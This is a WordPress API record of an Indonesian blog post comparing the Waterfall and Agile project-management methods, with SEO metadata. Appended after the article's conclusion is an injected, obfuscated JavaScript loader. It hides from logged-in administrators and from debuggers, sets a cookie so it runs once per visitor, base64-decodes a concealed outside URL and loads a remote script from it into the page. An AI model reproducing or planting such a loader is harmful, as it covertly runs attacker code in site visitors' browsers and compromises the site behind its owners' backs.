{"id":1639,"date":"2023-09-27T10:41:24","date_gmt":"2023-09-27T03:41:24","guid":{"rendered":"https:\/\/www.jmc.co.id\/blog\/?p=1639"},"modified":"2025-10-18T04:25:04","modified_gmt":"2025-10-17T21:25:04","slug":"perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek","status":"publish","type":"post","link":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/","title":{"rendered":"Perbandingan Metode Agile dan Metode Waterfall dalam Managemen Proyek"},"content":{"rendered":"<p><em>\u201cJika menggunakan Metode Waterfall maka ruang lingkup pekerjaan dan biaya yang diperlukan bisa jelas didepan, namun ketika aplikasi sudah masuk proses coding tidak bisa diubah-ubah secara signifikan karena harus sesuai dengan rancangannya. Sedang jika menggunakan Metode Agile total biaya tidak bisa jelas diprediksi didepan namun dalam perjalanan pembuatan aplikasi bisa fleksibel berubah-rubah merespon dinamika yang terjadi.\u201d <\/em> <\/p>\n<p>Keduanya memiliki pendekatan yang berbeda dalam mengelola proyek, masing-masing memiliki kelebihan dan kekurangan. Yuk sobat pintar kita coba perbandingan antara Agile dan Metode Waterfall, sehingga dapat memilih metode yang paling sesuai untuk proyek sobat pintar sekalian.<\/p>\n<p><strong><\/p>\n<h3>Metode Waterfall:<\/h3>\n<p><\/strong>Metode Waterfall adalah pendekatan tradisional dalam pengelolaan proyek yang melibatkan serangkaian fase yang berurutan. Setiap fase harus selesai sebelum fase berikutnya dimulai. Berikut adalah beberapa karakteristik utama Metode Waterfall:<br \/>\n<strong>a. Tahapan Berurutan:<\/strong><br \/>\nProyek dibagi menjadi beberapa fase seperti perencanaan, analisis, desain, pengembangan, pengujian, dan implementasi. Setiap fase dilakukan secara berurutan.<br \/>\n<strong>b. Dokumen yang Mendetail:<\/strong><br \/>\nSebelum fase berikutnya dimulai, dokumen yang mendetail harus disiapkan. Ini termasuk spesifikasi dan ruang lingkup proyek, spesifikasi  teknis, dan rencana pengujian.<br \/>\n<strong>c. Rigid dan Tidak Fleksibel:<\/strong><br \/>\nMetode Waterfall tidak memungkinkan perubahan besar dalam proyek setelah fase pertama dimulai. Ini membuatnya kurang cocok untuk proyek-proyek yang berubah dengan cepat.<br \/>\n<strong>d. Cocok untuk Proyek yang Terstruktur:<\/strong><br \/>\nMetode Waterfall cocok untuk proyek dengan persyaratan yang jelas dan baku. Contoh: Pembuatan aplikasi e-Gov Perencanaan Pembangunan berdasarkan Permendagri 17 Tahun 2021. Kebutuhan aplikasi akan berubah jika ada update peraturan.<\/p>\n<p><strong><\/p>\n<h5>Kelebihan Metode Waterfall:<\/h5>\n<p><\/strong><\/p>\n<ul>\n<li>Pembiayaan untuk mewujudkan ruang lingkup bisa jelas dari depan.<\/li>\n<li>Mudah dipahami dan dikelola.<\/li>\n<li>Cocok untuk proyek-proyek dengan dinamika yang stabil.<\/li>\n<\/ul>\n<p><strong><\/p>\n<h5>Kekurangan Metode Waterfall:<\/h5>\n<p><\/strong><\/p>\n<ul>\n<li>Kurang fleksibel terhadap perubahan.<\/li>\n<li>Kesulitan dalam menangani proyek yang kompleks atau berubah dengan cepat.<\/li>\n<\/ul>\n<p><strong><\/p>\n<h3>Metode Agile:<\/h3>\n<p><\/strong>Agile adalah kerangka kerja pengelolaan proyek yang berfokus pada fleksibilitas dan kolaborasi tim. Ini sering digunakan dalam pengembangan perangkat lunak, tetapi dapat diterapkan dalam berbagai proyek. Berikut adalah beberapa karakteristik utama Metode Agile:<br \/>\n<strong>a. Sprint:<\/strong><br \/>\nProyek dibagi menjadi iterasi pendek yang disebut &#8220;sprint&#8221; yang biasanya berlangsung 2-4 minggu. Setiap sprint memiliki tujuan dan hasil yang dapat disampaikan.<br \/>\n<strong>b. Transparansi:<\/strong><br \/>\nTim Agile harus transparan tentang kemajuan dan hambatan mereka. Ini biasanya dilakukan melalui pertemuan harian yang disebut &#8220;stand-up.&#8221;<br \/>\n<strong>c. Kolaborasi:<\/strong><br \/>\nAgile mendorong kolaborasi tim yang kuat. Tim bekerja bersama untuk menyelesaikan tugas dalam sprint.<br \/>\n<strong>d. Fleksibel:<\/strong><br \/>\nAgile memungkinkan perubahan persyaratan proyek selama sprint, yang membuatnya cocok untuk proyek-proyek yang berubah dengan cepat. Contoh: Pengembangan Aplikasi Startup seperti Gojek, dimana setiap ada keluhan dari pelanggan atau kebutuhan baru dari inovasi bisnis maka tim developer harus meresponnya<\/p>\n<p><strong><\/p>\n<h5>Kelebihan Metode Agile:<\/h5>\n<p><\/strong><\/p>\n<ul>\n<li>Fleksibel terhadap perubahan dan kebutuhan baru yang terjadi.<\/li>\n<li>Kolaborasi tim yang kuat.<\/li>\n<li>Kemajuan yang terlihat setiap sprint.<\/li>\n<\/ul>\n<p><strong><\/p>\n<h5>Kekurangan Metode Agile:<\/h5>\n<p><\/strong><\/p>\n<ul>\n<li>Ruang lingkup dan pembiayaan tidak bisa fix dari depan karena merespon dinamika-dinamika yang terjadi sepenjang waktu.<\/li>\n<li>Memerlukan komitmen tim yang kuat.<\/li>\n<li>Memerlukan pemahaman yang baik tentang proses Agile.<\/li>\n<\/ul>\n<p><strong><\/p>\n<h3>Kesimpulan:<\/h3>\n<p><\/strong>Pilihan antara Agile dan Metode Waterfall tergantung pada sifat proyek sobat pintar sekalian. Jika memiliki kebutuhan yang jelas dan stabil, Metode Waterfall mungkin lebih cocok dan anggarannya pun menjadi jelas dan fix dari depan. Namun, jika sobat pintar menghadapi perubahan yang cepat dalam proyek yang dihadapi, Agile dapat memberikan fleksibilitas yang sobat pintar butuhkan. Penting untuk memahami karakteristik masing-masing metode dan memilih yang paling sesuai untuk kebutuhan proyek sobat pintar.<br \/>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201cJika menggunakan Metode Waterfall maka ruang lingkup pekerjaan dan biaya yang diperlukan bisa jelas didepan, namun ketika aplikasi sudah masuk proses coding tidak bisa diubah-ubah secara signifikan karena harus sesuai dengan rancangannya. Sedang jika menggunakan Metode Agile total biaya tidak bisa jelas diprediksi didepan namun dalam perjalanan pembuatan aplikasi bisa fleksibel berubah-rubah merespon dinamika yang [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1640,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-1639","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-teknologi"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Perbandingan Metode Agile dan Metode Waterfall dalam Managemen Proyek - JMC IT Consultant<\/title>\n<meta name=\"description\" content=\"Pilihan antara Agile dan Metode Waterfall tergantung pada sifat proyek sobat pintar sekalian. Jika memiliki kebutuhan yang jelas dan stabil, Metode Waterfall mungkin lebih cocok dan anggarannya pun menjadi jelas dan fix dari depan. Namun, jika sobat pintar menghadapi perubahan yang cepat dalam proyek yang dihadapi, Agile dapat memberikan fleksibilitas yang sobat pintar butuhkan. Penting untuk memahami karakteristik masing-masing metode dan memilih yang paling sesuai untuk kebutuhan proyek sobat pintar.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Perbandingan Metode Agile dan Metode Waterfall dalam Managemen Proyek - JMC IT Consultant\" \/>\n<meta property=\"og:description\" content=\"Pilihan antara Agile dan Metode Waterfall tergantung pada sifat proyek sobat pintar sekalian. Jika memiliki kebutuhan yang jelas dan stabil, Metode Waterfall mungkin lebih cocok dan anggarannya pun menjadi jelas dan fix dari depan. Namun, jika sobat pintar menghadapi perubahan yang cepat dalam proyek yang dihadapi, Agile dapat memberikan fleksibilitas yang sobat pintar butuhkan. Penting untuk memahami karakteristik masing-masing metode dan memilih yang paling sesuai untuk kebutuhan proyek sobat pintar.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/\" \/>\n<meta property=\"og:site_name\" content=\"JMC IT Consultant\" \/>\n<meta property=\"article:published_time\" content=\"2023-09-27T03:41:24+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-17T21:25:04+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.jmc.co.id\/blog\/wp-content\/uploads\/2023\/09\/image-37.png\" \/>\n\t<meta property=\"og:image:width\" content=\"940\" \/>\n\t<meta property=\"og:image:height\" content=\"470\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Admin JMC\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Admin JMC\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/\",\"url\":\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/\",\"name\":\"Perbandingan Metode Agile dan Metode Waterfall dalam Managemen Proyek - JMC IT Consultant\",\"isPartOf\":{\"@id\":\"https:\/\/www.jmc.co.id\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.jmc.co.id\/blog\/wp-content\/uploads\/2023\/09\/image-37.png\",\"datePublished\":\"2023-09-27T03:41:24+00:00\",\"dateModified\":\"2025-10-17T21:25:04+00:00\",\"author\":{\"@id\":\"https:\/\/www.jmc.co.id\/blog\/#\/schema\/person\/c43e304ef71db79881e61b7bc557cf42\"},\"description\":\"Pilihan antara Agile dan Metode Waterfall tergantung pada sifat proyek sobat pintar sekalian. Jika memiliki kebutuhan yang jelas dan stabil, Metode Waterfall mungkin lebih cocok dan anggarannya pun menjadi jelas dan fix dari depan. Namun, jika sobat pintar menghadapi perubahan yang cepat dalam proyek yang dihadapi, Agile dapat memberikan fleksibilitas yang sobat pintar butuhkan. Penting untuk memahami karakteristik masing-masing metode dan memilih yang paling sesuai untuk kebutuhan proyek sobat pintar.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#primaryimage\",\"url\":\"https:\/\/www.jmc.co.id\/blog\/wp-content\/uploads\/2023\/09\/image-37.png\",\"contentUrl\":\"https:\/\/www.jmc.co.id\/blog\/wp-content\/uploads\/2023\/09\/image-37.png\",\"width\":940,\"height\":470},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.jmc.co.id\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Perbandingan Metode Agile dan Metode Waterfall dalam Managemen Proyek\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.jmc.co.id\/blog\/#website\",\"url\":\"https:\/\/www.jmc.co.id\/blog\/\",\"name\":\"JMC IT Consultant\",\"description\":\"Moto situs Anda bisa diletakkan di sini\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.jmc.co.id\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.jmc.co.id\/blog\/#\/schema\/person\/c43e304ef71db79881e61b7bc557cf42\",\"name\":\"Admin JMC\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.jmc.co.id\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f727d0f5af87ca4fa829be4ad1752aa6?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f727d0f5af87ca4fa829be4ad1752aa6?s=96&d=mm&r=g\",\"caption\":\"Admin JMC\"},\"url\":\"https:\/\/www.jmc.co.id\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Perbandingan Metode Agile dan Metode Waterfall dalam Managemen Proyek - JMC IT Consultant","description":"Pilihan antara Agile dan Metode Waterfall tergantung pada sifat proyek sobat pintar sekalian. Jika memiliki kebutuhan yang jelas dan stabil, Metode Waterfall mungkin lebih cocok dan anggarannya pun menjadi jelas dan fix dari depan. Namun, jika sobat pintar menghadapi perubahan yang cepat dalam proyek yang dihadapi, Agile dapat memberikan fleksibilitas yang sobat pintar butuhkan. Penting untuk memahami karakteristik masing-masing metode dan memilih yang paling sesuai untuk kebutuhan proyek sobat pintar.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/","og_locale":"en_US","og_type":"article","og_title":"Perbandingan Metode Agile dan Metode Waterfall dalam Managemen Proyek - JMC IT Consultant","og_description":"Pilihan antara Agile dan Metode Waterfall tergantung pada sifat proyek sobat pintar sekalian. Jika memiliki kebutuhan yang jelas dan stabil, Metode Waterfall mungkin lebih cocok dan anggarannya pun menjadi jelas dan fix dari depan. Namun, jika sobat pintar menghadapi perubahan yang cepat dalam proyek yang dihadapi, Agile dapat memberikan fleksibilitas yang sobat pintar butuhkan. Penting untuk memahami karakteristik masing-masing metode dan memilih yang paling sesuai untuk kebutuhan proyek sobat pintar.","og_url":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/","og_site_name":"JMC IT Consultant","article_published_time":"2023-09-27T03:41:24+00:00","article_modified_time":"2025-10-17T21:25:04+00:00","og_image":[{"width":940,"height":470,"url":"https:\/\/www.jmc.co.id\/blog\/wp-content\/uploads\/2023\/09\/image-37.png","type":"image\/png"}],"author":"Admin JMC","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Admin JMC","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/","url":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/","name":"Perbandingan Metode Agile dan Metode Waterfall dalam Managemen Proyek - JMC IT Consultant","isPartOf":{"@id":"https:\/\/www.jmc.co.id\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#primaryimage"},"image":{"@id":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#primaryimage"},"thumbnailUrl":"https:\/\/www.jmc.co.id\/blog\/wp-content\/uploads\/2023\/09\/image-37.png","datePublished":"2023-09-27T03:41:24+00:00","dateModified":"2025-10-17T21:25:04+00:00","author":{"@id":"https:\/\/www.jmc.co.id\/blog\/#\/schema\/person\/c43e304ef71db79881e61b7bc557cf42"},"description":"Pilihan antara Agile dan Metode Waterfall tergantung pada sifat proyek sobat pintar sekalian. Jika memiliki kebutuhan yang jelas dan stabil, Metode Waterfall mungkin lebih cocok dan anggarannya pun menjadi jelas dan fix dari depan. Namun, jika sobat pintar menghadapi perubahan yang cepat dalam proyek yang dihadapi, Agile dapat memberikan fleksibilitas yang sobat pintar butuhkan. Penting untuk memahami karakteristik masing-masing metode dan memilih yang paling sesuai untuk kebutuhan proyek sobat pintar.","breadcrumb":{"@id":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#primaryimage","url":"https:\/\/www.jmc.co.id\/blog\/wp-content\/uploads\/2023\/09\/image-37.png","contentUrl":"https:\/\/www.jmc.co.id\/blog\/wp-content\/uploads\/2023\/09\/image-37.png","width":940,"height":470},{"@type":"BreadcrumbList","@id":"https:\/\/www.jmc.co.id\/blog\/perbandingan-metode-agile-dan-metode-waterfall-dalam-managemen-proyek\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.jmc.co.id\/blog\/"},{"@type":"ListItem","position":2,"name":"Perbandingan Metode Agile dan Metode Waterfall dalam Managemen Proyek"}]},{"@type":"WebSite","@id":"https:\/\/www.jmc.co.id\/blog\/#website","url":"https:\/\/www.jmc.co.id\/blog\/","name":"JMC IT Consultant","description":"Moto situs Anda bisa diletakkan di sini","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.jmc.co.id\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.jmc.co.id\/blog\/#\/schema\/person\/c43e304ef71db79881e61b7bc557cf42","name":"Admin JMC","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.jmc.co.id\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f727d0f5af87ca4fa829be4ad1752aa6?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f727d0f5af87ca4fa829be4ad1752aa6?s=96&d=mm&r=g","caption":"Admin JMC"},"url":"https:\/\/www.jmc.co.id\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/posts\/1639","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/comments?post=1639"}],"version-history":[{"count":7,"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/posts\/1639\/revisions"}],"predecessor-version":[{"id":4032,"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/posts\/1639\/revisions\/4032"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/media\/1640"}],"wp:attachment":[{"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/media?parent=1639"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/categories?post=1639"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jmc.co.id\/blog\/wp-json\/wp\/v2\/tags?post=1639"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}